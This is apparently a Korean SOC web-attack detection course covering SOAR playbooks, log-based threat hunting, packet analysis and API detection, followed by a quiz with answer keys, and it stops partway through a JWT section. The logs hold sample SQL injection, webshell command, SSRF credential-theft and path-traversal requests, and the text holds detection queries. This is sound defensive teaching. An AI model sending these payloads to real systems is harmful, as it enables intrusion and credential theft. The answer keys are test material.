오늘 업로드 + 실행 체인 완성

교훈: 오탐 판단 기준 점검

단발성 스캔도 IP 리퓨테이션 + 후속 행위 추적
오탐 닫을 때도 IP를 30일간 관찰 목록에 남기기
동일 IP 재알람 시 이전 기록 연결 자동화

보강 설명시나리오 T4: 오탐이라고 생각했던 알람이 실제 공격이었던 케이스입니다.

오탐 오판재조사판단 교정

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기
성공 신호와 오탐 가능성을 반드시 동시에 적기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함
즉시 조치와 추가 확인을 분리해 쓰면 점수가 올라감

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시
다음 팀에 넘길 질문 1개를 꼭 포함시키기

APPENDIX U

SOAR 플레이북 설계 기초

탐지에서 대응까지 자동화 — 어떤 단계를 자동화할 수 있는가

⏱ 선택 심화 콘텐츠

보강 설명 탐지에서 대응까지 자동화 — 어떤 단계를 자동화할 수 있는가. SOAR는 단순 자동 차단이 아니라 반복되는 조사 절차를 표준화하고 분석가가 더 빨리 중요한 사건을 보게 만드는 도구다.

자동화에스컬레이션플레이북

플레이북 설계 기준

트리거 조건, 자동 조회, 자동 조치, 사람 승인 지점을 분리
오탐 비용이 큰 조치는 즉시 차단보다 검토 후 실행으로 설계
자동화는 로그 수집과 요약부터 시작해도 효과가 크다

추가 확인

자동 차단 전에 성공 신호가 있었는지, 관리자 자산인지 확인
리퓨테이션 조회 결과와 내부 allowlist를 함께 비교
플레이북 실행 이력과 결과 품질을 다시 학습해 임계값을 조정

미니 실습

알람 하나를 받아 5단계 플레이북으로 분해해 보기
자동화 가능한 단계와 사람이 판단해야 하는 단계를 구분하기
실패한 자동화가 더 큰 장애를 만들지 않게 하는 보호장치를 적어 보기

심화 U · SOAR

SOAR란 — 탐지-판단-대응을 자동화

Security Orchestration, Automation, Response — 반복적인 대응 절차를 자동화해 분석가가 판단에 집중하게 한다.

SOAR가 자동화하는 것

알람 수신 → 티켓 자동 생성
IP 리퓨테이션 자동 조회
관련 로그 자동 수집·첨부
임계치 초과 IP 방화벽 자동 차단
Slack/이메일 알림 자동 전송

사람이 판단해야 할 것

자동 차단이 서비스에 미치는 영향
오탐 여부 최종 확인
에스컬레이션 판단
예외적 상황 처리
사후 분석과 룰 개선

📌 SOAR의 목표: "Mean Time to Respond(MTTR)" 단축. 자동화로 몇 시간 걸리던 초기 대응을 몇 분으로 줄인다

보강 설명SOAR의 개념과 웹 공격 대응에서의 활용입니다.

SOAR자동화플레이북

자동화 입력

탐지 이벤트에 자산 중요도·최근 24h 히스토리 보강
IP·계정·엔드포인트 기준으로 관련 이벤트를 묶음
차단 전 서비스 영향·허용 리스트 여부를 먼저 확인

사람 승인

서버 격리·대규모 차단·세션 강제 종료는 사람 승인 필요
고객 영향·업무 시간대·우회 가능성을 같이 판단
Critical이어도 복구 경로를 먼저 확보하고 조치

자동화 출력

티켓 생성·온콜 통지·증거 로그 자동 수집까지 연결
WAF 룰 임시 적용과 만료 시간도 같이 기록
후속 회고용 메타데이터를 자동으로 남기면 튜닝 속도 향상

심화 U · SOAR

Brute Force SOAR 플레이북 예시

Brute Force 알람 수신부터 자동 차단, 성공 시 에스컬레이션까지의 플레이북 흐름.

① SIEM 알람

401 × 20회 within 10min → SOAR 트리거

② 자동 조회

IP 리퓨테이션 조회 → AbuseIPDB, Shodan, 내부 블랙리스트

③ 자동 차단

리퓨테이션 score > 80이면 WAF/방화벽 자동 차단 (임시 1h)

④ 성공 확인

차단 전 302/200 응답 여부 자동 확인 → 성공 시 에스컬레이션

⑤ 티켓 생성

분석가에게 검토 요청 + 자동 수집된 로그 첨부

💡 자동 차단은 오탐 시 서비스 영향 → 리퓨테이션 임계치를 보수적으로 설정하거나 중요 서비스는 수동 확인 필수

보강 설명Brute Force 공격에 대한 SOAR 플레이북 예시입니다.

Brute Force 플레이북SOAR 예시자동 차단

대표 신호

401 반복 뒤 302/200 1회는 성공 후보로 즉시 재검토
단일 계정 집중=Brute Force, 다중 계정 분산=Stuffing/Spraying
429·403 뒤 다른 IP/시간대로 재시도하는 우회도 함께 봄

추가 확인

MFA 로그·세션 재발급·새 기기/새 국가 로그인 여부 확인
성공 뒤 관리자 메뉴·비밀번호 변경·권한 변경이 있는지 확인
NAT/VPN 환경이면 계정 기준 집계를 병행해 오탐을 줄임

실습 예시

계정 축과 IP 축 두 개의 집계 표를 동시에 그려 보기
Password Spraying은 6시간 창으로 넓게 보며 탐지하기
Rate Limit 발동 이후의 우회 시나리오도 같이 적어 보기

심화 U · SOAR

WebShell 탐지 SOAR 플레이북

WebShell은 Critical — 자동화로 속도를 높이되, 서버 격리 판단은 사람이 최종 승인한다.

자동화 단계

WebShell 패턴 탐지 → 즉시 티켓 생성
대상 서버 정보 자동 조회 (자산 DB)
해당 URL에 대한 WAF 즉시 차단 룰 추가
지난 24h 동일 IP 로그 자동 수집
팀 리더 + 온콜 담당자 즉시 알림

사람 판단 필요 단계

서버 격리 여부 (서비스 영향 확인)
IR팀 에스컬레이션 판단
포렌식 이미징 착수 결정
고객/임원 보고 필요 여부
언론 대응 여부 (중요 서버일 경우)

⚠️ "자동 서버 격리"는 위험 — 프로덕션 서버 격리는 서비스 중단을 의미. 반드시 사람이 승인

보강 설명WebShell 탐지 시 SOAR 플레이북입니다.

WebShell 플레이북격리포렌식

체인 신호

POST /upload 뒤 GET /uploads/*.php 호출이 이어지는지 확인
?cmd=·?exec=·?c= 반복은 WebShell 전형 패턴

추가 확인

업로드 디렉토리 새 파일·해시와 최근 변경 시간 확인
apache/nginx/php-fpm 자식 프로세스 생성 여부 확인

실습 예시

MIME 위장(image/jpeg)과 확장자 검사를 분리해서 보기
실행 불가 저장 경로와 실행 가능 경로를 구분 설명하기

APPENDIX V

웹 로그 기반 위협 헌팅

알람 없이도 로그에서 숨은 위협을 찾아내는 능동적 분석

⏱ 선택 심화 콘텐츠

보강 설명 알람 없이도 로그에서 숨은 위협을 찾아내는 능동적 분석. 로그 분석은 한 줄을 읽는 기술과 여러 줄을 사건 흐름으로 묶는 기술이 함께 필요하다. 정상·의심·위험을 빠르게 나누는 기준이 먼저 있어야 한다.

access.logTriage타임라인

핵심 포인트

IP·URI·상태코드·bytes·UA·응답시간을 같이 보면 공격 의도가 더 선명해진다
단일 이벤트보다 반복성, 순서, 상태 전환이 더 강한 탐지 신호가 된다
Triage는 사실 확인과 우선순위 판단을 동시에 수행하는 단계다

추가 확인

같은 IP의 전후 30분 요청을 묶어 탐색→시도→성공 흐름을 찾기
WAF/App/Host 로그 중 비어 있는 소스를 최소 하나 더 확보하기
오탐 가능성도 반드시 같이 적어 후속 대응팀의 판단 비용을 줄이기

미니 실습

로그 3줄을 하나의 타임라인으로 재구성해 보기
status, bytes, response_time 중 어떤 값이 가장 중요한지 이유와 함께 말하기
정상 사용자와 자동화 스캐너의 차이를 헤더·속도·반복성으로 구분하기

심화 V · 위협 헌팅

위협 헌팅 — 알람 없이 찾아나선다

SIEM 알람은 알려진 패턴만 잡는다 — 헌팅은 "이런 공격이 이미 진행 중이지 않을까?"라는 가설로 시작한다.

헌팅 프로세스

가설 수립: "느린 SQLi가 진행 중일 수도"
데이터 탐색: 30일 로그에서 response_time 이상
패턴 확인: 규칙적 지연 패턴 찾기
판단: 공격 확인 or 오탐 or 추가 조사
룰화: 발견 패턴을 SIEM 룰로 등록

웹 로그 헌팅 아이디어

response_time > 3s인 요청 집계 → Blind SQLi?
비업무 시간 /admin 접근 패턴
업로드 디렉터리의 .php 파일 최근 생성
단일 세션에서 100개 이상 엔드포인트 탐색
내부 IP에서 url= 파라미터 사용

📌 헌팅 결과 = 이번에 공격 없어도 가치 있음 — "이런 공격은 현재 우리 탐지 룰로 못 잡는다"는 발견이 중요

보강 설명위협 헌팅의 개념과 웹 로그에서의 적용 방법입니다.

위협 헌팅가설 기반능동적 탐지

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

심화 V · 위협 헌팅

지속성 메커니즘 헌팅 — 숨겨진 WebShell 찾기

이미 WebShell이 심어졌지만 아직 발견되지 않은 경우 — access.log에서 어떻게 찾는가.

헌팅 쿼리 1: 업로드 디렉터리 PHP 접근

awk '$7 ~ /\/uploads\/.*\.php/' access.log | awk '{print $1, $7, $9}' | sort | uniq -c | sort -rn

→ 업로드 디렉터리의 PHP 파일 접근 이력. cmd= 파라미터 포함 여부 확인

헌팅 쿼리 2: 비정상 시간대 접근

awk '$4 ~ /\[..:0[0-5]:/' access.log | awk '{print $1, $7, $9}' | grep -v "200" | head -50

→ 새벽 0~5시 비정상 상태코드 접근. 정상 배치 작업과 구분 필요

💡 헌팅은 한 달에 한 번이라도 정기적으로 — 지속성 메커니즘은 조용히 숨어 있다가 재활성화된다

보강 설명웹 로그에서 숨겨진 지속성 매커니즘을 찾는 헌팅입니다.

지속성헌팅 쿼리숨겨진 WebShell

체인 신호

POST /upload 뒤 GET /uploads/*.php 호출이 이어지는지 확인
?cmd=·?exec=·?c= 반복은 WebShell 전형 패턴

추가 확인

업로드 디렉토리 새 파일·해시와 최근 변경 시간 확인
apache/nginx/php-fpm 자식 프로세스 생성 여부 확인

실습 예시

MIME 위장(image/jpeg)과 확장자 검사를 분리해서 보기
실행 불가 저장 경로와 실행 가능 경로를 구분 설명하기

심화 V · 위협 헌팅

초기 정찰 단계 헌팅

공격은 정찰로 시작한다 — 지금 누군가가 우리 서버를 탐색하고 있지는 않은가.

정찰 패턴 헌팅 항목

단일 IP, 1시간 내 50개 이상 다른 경로 접근
404 비율 80% 이상인 IP
스캐너 UA 포함 요청 (Nikto, Nmap, ZAP 등)
/.git, /.env, /backup 등 민감 경로 탐색
첫 접근 후 1시간 내 /admin, /login 접근

헌팅 결과 분류

신규 타겟 확인: 지금은 정찰 단계. 모니터링 강화
알려진 스캐너: Shodan, 보안 연구자 IP → 예외 처리
허가된 PT: 침투테스트 IP → 허용 목록 확인
지속 탐색: 3일 이상 반복 → 적극 대응

보강 설명침투 초기 정찰 단계를 위협 헌팅으로 찾는 방법입니다.

정찰 헌팅경로 탐색초기 침투 징후

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

APPENDIX W

Module 4 종합 퀴즈

배운 내용을 확인하는 핵심 질문 — 모두 자신의 말로 답할 수 있는가

⏱ 자가 평가

보강 설명 배운 내용을 확인하는 핵심 질문 — 모두 자신의 말로 답할 수 있는가. 실습의 목적은 맞히는 것보다 근거를 설명하는 것이다. 사실→패턴→맥락→조치 순서로 말할 수 있어야 실무형 분석이 된다.

실습답안 포인트보고 문장

답안 포인트

주어진 사실과 추론을 분리해서 쓰기
상태코드·bytes·반복성·자산 중요도 같은 관찰 근거를 반드시 넣기
즉시 조치와 추가 확인을 구분해 쓰면 전달력이 높아짐

추가 확인

같은 IP/세션의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host/EDR 중 비어 있는 로그를 한 소스 더 확보
정탐과 오탐 두 가설을 같이 적고 더 필요한 로그를 제시

미니 실습

한 줄 로그를 2~3문장 보고서로 바꿔 보기
팀장/개발자/운영자 각각에게 필요한 요약 문장을 따로 써 보기
질문형 보고 대신 결론형 보고 문장으로 고쳐 보기

종합 퀴즈 1

퀴즈 1: 로그 분석 기초

아래 access.log 라인을 보고 질문에 답하라.

185.143.223.17 - - [15/Mar/2024:14:23:11 +0900] "GET /search?q=%27+UNION+SELECT+NULL%2CNULL%2CNULL--+ HTTP/1.1" 200 48392 "-" "sqlmap/1.7.8#stable (https://sqlmap.org)"

❓ 질문

decoded_uri는 무엇인가?
어떤 공격 유형으로 분류하는가?
이 요청이 성공했을 가능성이 있는 이유는?
다음으로 확인해야 할 것은?

✅ 정답 키

/search?q=' UNION SELECT NULL,NULL,NULL--
Union-Based SQLi (sqlmap 자동화)
status=200, bytes=48392 (정상 대비 클 수 있음)
DB/App log에서 실제 union 결과 반환 여부

보강 설명종합 퀴즈 1: 로그 분석 기초 문제입니다.

퀴즈로그 분석기초

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

종합 퀴즈 2

퀴즈 2: 상태코드 시퀀스 해석

89.248.165.44에서 /login으로 온 요청 시퀀스를 보고 무슨 일이 일어났는지 설명하라.

POST /login 401 (×83회, 14:01~14:12)
POST /login 429 (×5회, 14:12~14:13) ← Rate Limit 발동
POST /login 401 (×12회, 14:15~14:18) ← 속도 낮춤
POST /login 302 (×1회, 14:19:43) ← ??
GET /dashboard 200 (14:19:45)

❓ 답해야 할 것

어떤 공격이 성공했는가?
429 이후 변화는 무엇을 의미하는가?
FPCA 분석을 완성하라

✅ 정답 키

Brute Force → 로그인 성공 (302→/dashboard)
Rate Limit 인지 → 속도 낮춰 우회 (스마트 자동화)
A: 성공 계정 식별 + 세션 종료 + 비밀번호 초기화 권고 + IR

보강 설명종합 퀴즈 2: 브루트 포스 시퀀스 분석 문제입니다.

퀴즈Brute Force상태코드 시퀀스

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

종합 퀴즈 3

퀴즈 3: WebShell 체인 재구성

아래 로그에서 공격 체인을 재구성하고 우선순위와 조치를 제안하라.

172.104.81.55 GET /upload 404 (14:01)
172.104.81.55 GET /file-upload 200 (14:03)
172.104.81.55 POST /file-upload multipart shell.php 200 14:05 bytes=2340
172.104.81.55 GET /uploads/shell.php?cmd=whoami 200 14:07 bytes=12
172.104.81.55 GET /uploads/shell.php?cmd=cat+/etc/passwd 200 14:08 bytes=1823

❓ 질문

5단계 공격 체인을 이름 붙여라
우선순위는?
즉시 취해야 할 3가지 조치는?

✅ 정답 키

Recon → 엔드포인트 발견 → Upload → Execute → Escalate
Critical — 서버 명령 실행 확인됨
shell.php 즉시 삭제 + IP 차단 + IR 에스컬레이션

보강 설명종합 퀴즈 3: WebShell 업로드 체인 분석 문제입니다.

퀴즈WebShell체인 분석

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

종합 퀴즈 4

퀴즈 4: SSRF 탐지와 영향 평가

아래 로그를 보고 SSRF 가능성과 클라우드 환경에서의 영향을 설명하라.

51.158.201.77 POST /api/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ 200 bytes=847
(이후 CloudTrail: AssumeRole from unusual location at 14:35, AccessKeyId=ASIA...)

❓ 질문

어떤 공격이며 무엇이 노출됐는가?
CloudTrail 이벤트는 무엇을 의미하는가?
즉시 취해야 할 조치는?

✅ 정답 키

SSRF → EC2 IAM 임시 자격증명 탈취 (bytes=847이 증거)
탈취된 자격증명으로 AWS API 실제 호출 시작
키 즉시 무효화 + IMDSv2 강제 + IR 에스컬레이션

보강 설명종합 퀴즈 4: SSRF 탐지 문제입니다.

퀴즈SSRF메타데이터

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

종합 퀴즈 5

퀴즈 5: FPCA 분석 문장 완성하기

아래 Fact를 보고 P·C·A를 채워 완전한 분석 문장을 작성하라.

Fact (주어진 사실)

91.240.118.31이 2024-03-15 09:11~09:28 사이에 /view?file= 파라미터에 ../../../../etc/passwd, ../../../../var/log/auth.log를 포함한 요청을 17회 전송. 상태코드 200(3회) 403(14회). bytes: 200 응답 시 3847~8234.

❓ P·C·A를 채워라

P (Pattern): ?
C (Context): ?
A (Action): ?

✅ 모범 답안

P: LFI/Path Traversal — 상위 디렉터리 이동으로 /etc/passwd, auth.log 읽기 시도
C: 200 응답 3건 + bytes 3847~8234 = 파일 내용 반환 가능성. 403이 더 많아 부분 성공. /var/log 접근 시 Log Poisoning 체인 주의
A: 200 응답 내용 확인(파일 내용 노출?), App 설정에서 경로 정규화 적용 권고, 개발팀 패치 요청

보강 설명종합 퀴즈 마지막: FPCA 분석 작성 문제입니다.

퀴즈FPCA 작성종합

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

강사용 · 커리큘럼

Module 4 커리큘럼 전체 지도

12시간 강의의 전체 구조 — 강사가 흐름을 안내할 때 참조하는 지도.

필수 파트 (8~9시간)

PART 0~2: 개요 / 아키텍처 / HTTP (2H)
PART 3~4: 웹 로그 / FPCA 프레임 (2H)
PART 5~7: SQLi / XSS / LFI / CMDi / PART7 (3H)
PART 8~9: WAF/SOAR 탐지 + 실습 (2H)
PART 10: 치트시트 / 운영 부록 (1H)

심화 선택 (수준별)

APPENDIX A~C: SQLi/XSS/LFI 심화
APPENDIX D~E: 케이스스터디 / 탐지고도화
APPENDIX F~G: 보안아키텍처 / SOC 운영
APPENDIX H~K: CTI / 클라우드 / SIEM 쿼리 / 트렌드
APPENDIX T~W: 실습심화 / SOAR / 헌팅 / 퀴즈

💡 수강생 수준에 따라 심화 APPENDIX를 선택적으로 활용 — 기초반은 PART 0~10만으로도 완성된 교육 가능

보강 설명모듈 전체 커리큘럼 지도 슬라이드입니다.

커리큘럼 지도학습 경로전체 구조

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

Module 4 완료

다음 단계 — Module 5 예고

웹 공격을 알았다면, 이제 그것을 SIEM·SOAR·IR 체계와 어떻게 연결하는지 배울 차례다.

Module 4에서 만든 역량

웹 요청 → 공격 패턴 식별
FPCA 분석 프레임 적용
탐지 룰 설계 기초
SOC 운영 실무 이해

Module 5에서 배울 것

엔드포인트 공격 탐지 (EDR 기반)
횡이동(Lateral Movement) 탐지
SIEM 이벤트 상관분석 고급
사고 대응(IR) 절차 전체

Module 4 완료!

웹 공격 탐지의 눈을 만들었습니다.
다음 모듈에서는 이 시각으로 전체 사이버킬체인을 읽게 됩니다.

보강 설명다음 모듈 예고와 학습 연속성 안내 슬라이드입니다.

다음 모듈Module 5학습 연속성

복습 체크

URI·상태코드·bytes를 한 세트로 읽기
단일 이벤트보다 체인·후속행위 우선 보기
FPCA로 한 문장 보고가 가능한지 점검

바로 적용

다음 근무에서 웹 알람 1건을 다시 FPCA로 써 보기
decoded_uri·XFF·request_time 수집 여부 확인
최근 오탐 사례 1건도 같은 틀로 재검토

학습 확장

WAF·App·EDR 로그를 한 타임라인으로 묶기
반복 패턴과 상태 전환을 먼저 보는 습관 만들기
자주 보는 엔드포인트의 정상 baseline 정리

APPENDIX X

네트워크 패킷 기반 웹 분석

access.log 너머 — 패킷에서 읽는 웹 공격의 원문

⏱ 선택 심화 콘텐츠

보강 설명 access.log 너머 — 패킷에서 읽는 웹 공격의 원문. 로그 분석은 한 줄을 읽는 기술과 여러 줄을 사건 흐름으로 묶는 기술이 함께 필요하다. 정상·의심·위험을 빠르게 나누는 기준이 먼저 있어야 한다.

access.logTriage타임라인

핵심 포인트

IP·URI·상태코드·bytes·UA·응답시간을 같이 보면 공격 의도가 더 선명해진다
단일 이벤트보다 반복성, 순서, 상태 전환이 더 강한 탐지 신호가 된다
Triage는 사실 확인과 우선순위 판단을 동시에 수행하는 단계다

추가 확인

같은 IP의 전후 30분 요청을 묶어 탐색→시도→성공 흐름을 찾기
WAF/App/Host 로그 중 비어 있는 소스를 최소 하나 더 확보하기
오탐 가능성도 반드시 같이 적어 후속 대응팀의 판단 비용을 줄이기

미니 실습

로그 3줄을 하나의 타임라인으로 재구성해 보기
status, bytes, response_time 중 어떤 값이 가장 중요한지 이유와 함께 말하기
정상 사용자와 자동화 스캐너의 차이를 헤더·속도·반복성으로 구분하기

심화 X · 패킷 분석

Wireshark — HTTP 트래픽에서 공격 읽기

패킷을 보면 access.log에는 없는 요청 Body, 응답 Body, 정확한 payload 원문을 볼 수 있다.

유용한 Wireshark 필터

          http.request.method == "POST"

          http.request.uri contains "union"

          http.response.code == 500

          ip.src == 185.143.223.17

          http contains "sleep(" 

          tcp.stream eq 42 (특정 세션 추적)

패킷 분석이 필요한 경우

WAF가 디코딩 전 raw 트래픽 확인
POST body 내용 확인 (access.log에 없음)
HTTPS 없는 구간의 인증 정보 노출 확인
WebSocket 메시지 내용 분석
응답 body에 민감정보 포함 여부

⚠️ HTTPS(TLS) 트래픽은 서버 개인키 또는 세션키 없이는 복호화 불가 — TLS 검사는 법적·정책적 검토 필요

보강 설명Wireshark로 HTTP 트래픽에서 공격 패턴을 읽는 방법입니다.

WiresharkHTTP 필터패킷 분석

이 도구가 잘 보는 것

도구마다 보이는 계층(L7/L4/패킷/검색)이 다름
강점은 선명하게, 한계는 보완 로그와 함께 이해

실무 연결

도구 결과를 티켓·대시보드·상관분석으로 이어야 가치가 큼
정상 baseline이 있어야 결과를 과잉 해석하지 않음

주의

패킷/검색 결과만으로 성공 여부를 단정하지 않기
도구 출력 형식과 시간대(UTC/KST)를 먼저 통일

심화 X · 패킷 분석

tcpdump — 실시간 공격 트래픽 캡처

서버에서 직접 실행 가능한 tcpdump로 공격 IP의 패킷을 실시간 캡처하고 분석한다.

유용한 tcpdump 명령

# 공격 IP 패킷 캡처

          tcpdump -i eth0 -w attack.pcap host 185.143.223.17

# HTTP 요청 내용 실시간 출력

          tcpdump -i eth0 -A -s 0 'tcp port 80 and src host 185.143.223.17'

# POST body 포함 캡처

          tcpdump -i eth0 -s 65535 -w full.pcap 'tcp port 80'

SOC 활용 시나리오

공격 IP 확인 후 즉시 패킷 캡처 시작
.pcap 파일 → IR팀에 증거로 전달
응답 body에서 데이터 유출 여부 확인
WAF 우회 payload 원문 확보

📌 캡처 파일은 민감 데이터 포함 가능 — 보안 채널로 전송, 접근 제한, 보존 기한 설정 필요

보강 설명tcpdump를 이용한 실시간 웹 공격 패킷 캡처와 분석입니다.

tcpdump실시간 캡처패킷 필터

이 도구가 잘 보는 것

도구마다 보이는 계층(L7/L4/패킷/검색)이 다름
강점은 선명하게, 한계는 보완 로그와 함께 이해

실무 연결

도구 결과를 티켓·대시보드·상관분석으로 이어야 가치가 큼
정상 baseline이 있어야 결과를 과잉 해석하지 않음

주의

패킷/검색 결과만으로 성공 여부를 단정하지 않기
도구 출력 형식과 시간대(UTC/KST)를 먼저 통일

심화 X · 패킷 분석

TLS 환경에서의 우회 탐지 방법

HTTPS 암호화로 payload를 볼 수 없어도 — SNI, JA3, 트래픽 패턴으로 이상을 탐지할 수 있다.

암호화 없이 볼 수 있는 것

SNI: 어떤 도메인에 접속하는지 (TLS ClientHello)
JA3 fingerprint: TLS 클라이언트 특성 (도구 식별)
접속 빈도/크기: 대량 요청, 비정상 데이터량
연결 패턴: 동시 연결 수, 연결 지속 시간
인증서 이상: self-signed, 만료 인증서

TLS 검사 대안

리버스 프록시 TLS Termination → 내부 평문
CDN/WAF 레이어에서 복호화 후 검사
엔드포인트 EDR의 앱 레이어 가시성
서버 메모리의 SSL 세션키 활용 (제한적)

📌 TLS 자체가 공격 은닉에 활용될 수 있다 — 리버스 프록시/WAF에서 복호화 후 검사하는 구조가 탐지 커버리지 확보에 핵심

보강 설명TLS 암호화 트래픽 환경에서 웹 공격을 탐지하는 대안적 방법입니다.

TLS암호화 트래픽SNI

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

APPENDIX Y

모바일 / REST API 환경 웹 탐지

브라우저가 아닌 앱에서 오는 요청 — 탐지 관점의 차이

⏱ 선택 심화 콘텐츠

보강 설명 브라우저가 아닌 앱에서 오는 요청 — 탐지 관점의 차이. API는 웹 공격의 새로운 주 표면이다. Path보다 객체 ID, 토큰, 응답 데이터 구조, 대량 호출 패턴을 읽는 감각이 중요하다.

REST APIGraphQLBOLA

핵심 포인트

BOLA/BOPLA처럼 객체 식별자와 속성 노출이 핵심 위험이 된다
GraphQL은 body 내부 질의와 depth/complexity를 같이 봐야 한다
API Gateway, App, Auth 로그를 함께 봐야 전체 맥락이 보인다

추가 확인

정상 모바일 앱/프론트 호출 패턴과 공격 스크립트 패턴을 구분
JWT·세션·API 키 재사용 여부와 출처 IP 분산을 확인
응답 바이트 급증이나 민감 필드 노출은 App 로그로 보강

미니 실습

순차 객체 조회를 BOLA로 판단하는 기준을 정리해 보기
GraphQL body에서 __schema와 대량 중첩을 찾는 쿼리 조건을 써 보기
API 공격에서 기존 access.log만으로 부족한 이유를 설명하기

심화 Y · 모바일/API

모바일 앱 트래픽 — 탐지 관점 차이

모바일 앱은 브라우저와 다른 UA, 헤더, 인증 패턴을 가진다 — 정상과 이상을 구분하는 기준이 달라진다.

모바일 앱 정상 패턴

UA: MyApp/1.2.3 (iOS 17; iPhone) 형태
Referer 없음 (앱 내 요청)
Authorization: Bearer {JWT} 헤더
Content-Type: application/json
특정 API 엔드포인트만 반복 호출

공격 시 이상 패턴

UA 변조 또는 브라우저 UA로 API 직접 호출
JWT 토큰 재사용 또는 변조 시도
API 엔드포인트 무작위 탐색
단일 계정으로 비정상 속도 요청
Authorization 헤더 없이 보호 API 접근

📌 모바일 앱 ID(App ID, 버전)를 수집하면 오래된 앱·이상 버전 탐지 가능 — 정상 앱 패턴 베이스라인 구축이 선제 조건

보강 설명모바일 앱과 웹 브라우저 트래픽의 탐지 관점 차이입니다.

모바일 앱REST APIUA 패턴

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 Y · 모바일/API

GraphQL — API 공격의 새로운 패턴

GraphQL은 유연한 쿼리가 강점이지만, 과도한 데이터 접근과 Introspection 남용이 보안 위협이 된다.

GraphQL 공격 패턴

Introspection 남용: 전체 스키마 정보 조회
→ POST /graphql body에 __schema
Over-fetching: 필요 이상의 데이터 요청
Batch Query Attack: 단일 요청에 다수 쿼리
Alias를 이용한 Brute Force: 단일 요청으로 대량 조회

SOC 탐지 포인트

POST /graphql body에 __schema, __type
단일 요청의 bytes가 비정상적으로 큼
짧은 시간 내 대량 POST /graphql
프로덕션에서 Introspection 허용 여부 확인

⚠️ GraphQL은 POST body를 분석해야 탐지 가능 — access.log의 path만 보면 모두 /graphql로 동일하게 보인다

보강 설명GraphQL API에 대한 공격 패턴과 탐지 방법입니다.

GraphQLAPI 보안Introspection

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 Y · 모바일/API

JWT 공격 — 토큰 변조와 우회

JWT는 서명이 있지만 잘못된 구현에서는 알고리즘 변조나 약한 비밀키로 위조가 가능하다.

JWT 공격 기법

alg=none: 서명 없는 토큰 수용 공격
